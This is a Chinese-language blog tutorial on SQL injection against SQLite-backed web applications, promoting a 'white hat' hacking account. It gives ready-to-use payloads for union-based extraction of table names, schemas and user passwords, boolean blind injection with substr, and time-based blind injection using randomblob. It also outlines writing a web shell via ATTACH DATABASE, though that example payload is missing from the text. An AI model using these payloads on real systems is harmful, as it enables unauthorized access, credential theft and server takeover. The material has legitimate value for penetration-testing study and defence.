sqlite注入基础

零基础学黑客,搜索公众号:白帽子左一

另,免费领取黑客入门学习资料包及练手靶场!

前置知识:

Sqlite数据库的特点是它每一个数据库都是一个文件,当你查询表的完整信息时会得到创建表的语句,基本和mysql差不多

1.Sqlite-master:这个是内置系统表,相当于mysql的information_schema,但是这里只存有表的信息,里面有个sql字段,有各个表的结构,有表名,字段名和类型

2.sqlite 并不支持像mysql那样的注释,但是可以通过 — 方式增加DDL注释(写shell会用到)

3.sqlite_version() 这个代表sqlite的版本

4.randomblob函数

因为这个数据库没有类似sleep() 的函数,所以用这个函数去代替

作用是返回一个 N 字节长的包含伪随机字节的 BLOG。N应该是正整数

5.ATTACH函数

这个函数用于选定数据库,当数据库不存在时就会创建,使用后,后续命令都在此数据库下执行

基本增删改查

创建表语句

create table wafa(name varchar(255),username varchar(255));

插入数据语句

insert into wafa (name,username) values ('bbq','bbcd');

增加字段

alter table wafa add column id int;

查询语句

select name from wafa where username='bbcd';

修改字段数据

Update wafa set username=’tcp’ where name=’bbq’;

这里注意,sqlite不能完全支持sql语句,如果要修改字段的数据类型的话只能增加字段,要修改字段只能重命名表后,重新创建表,再把旧表数据放到新表里,最后删除旧表

alter table wafa rename to wifi;

create table wafa(name varchar(200) not null,username varchar(200) not null);

insert into wafa(name,username) select name,username from wifi;

drop table wifi;

利用方式

联合查询

这里的测试环境里不需要去闭合

首先判断回显点,先判断当前页面字段数

Order by 3

判断出当前有3个字段

然后就是判断显错位

And 1=2 union select 1,2,3

查询版本:

and 1=2 union select 1,2,sqlite_version()

查询当前表

and 1=2 union select 1,2,name from sqlite_master where type='table' limit 1,1

可以通过limit去筛选其他数据,但只能显示一条

(这里因为数据库里的排序问题,目标表在第二位)

得到表名user

查询字段

and 1=2 union select 1,2,sql from sqlite_master where type='table' and name='user'

可以通过去查询sqlite_master里的sql字段来得到字段信息,用name=’表名’ 去确定表名

会输出整条你建立表的语句

得到字段id,name,password

查询数据

and 1=2 union select 1,2,password from user limit 0,1

当然,sqlite也有查询多条数据的方法

可以使用group_concat

and 1=2 union select 1,2,group_concat(name) from user limit 0,1

盲注

sqlite注入也可以使用盲注

基本和mysql的差不多,但是sqlite不支持ascii,所以直接通过字符去查询,这里和mysql不同,这里英文字母区分大小写

查询数据表长度

and (select length(name) from sqlite_master limit 0,1)=4

如果查询失败的话

查询表名

and substr((select name from sqlite_master limit 0,1),1,1)='u'

这里区分大小写

查询字段

and substr((select sql from sqlite_master limit 0,1),1,1)='C'

因为这里是输出整条你建立表的语句,所以要慢慢查

查询数据

and substr((select password from user limit 0,1),2,1)='i'

时间盲注

Sqlite没有sleep函数,但是可以利用randomblob函数,这个函数作用是生成了一个N字节的blob,可以通过这个来延时

and 1=(case when(substr(sqlite_version(),1,1)='3') then randomblob(1000000000) else 0 end)

Getshell

使用ATTACH函数来操作

这个函数用于选定数据库,当数据库不存在时就会创建,使用后,后续命令都在此数据库下执行

函数格式

ATTACH DATABASE file_name AS database_name

这里我们通过去建立一个文件,然后再后续通过命令去插入payload

因为这个是建立库的语句,后续通过建立表的方式去写入shell

例:

效果如下

©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容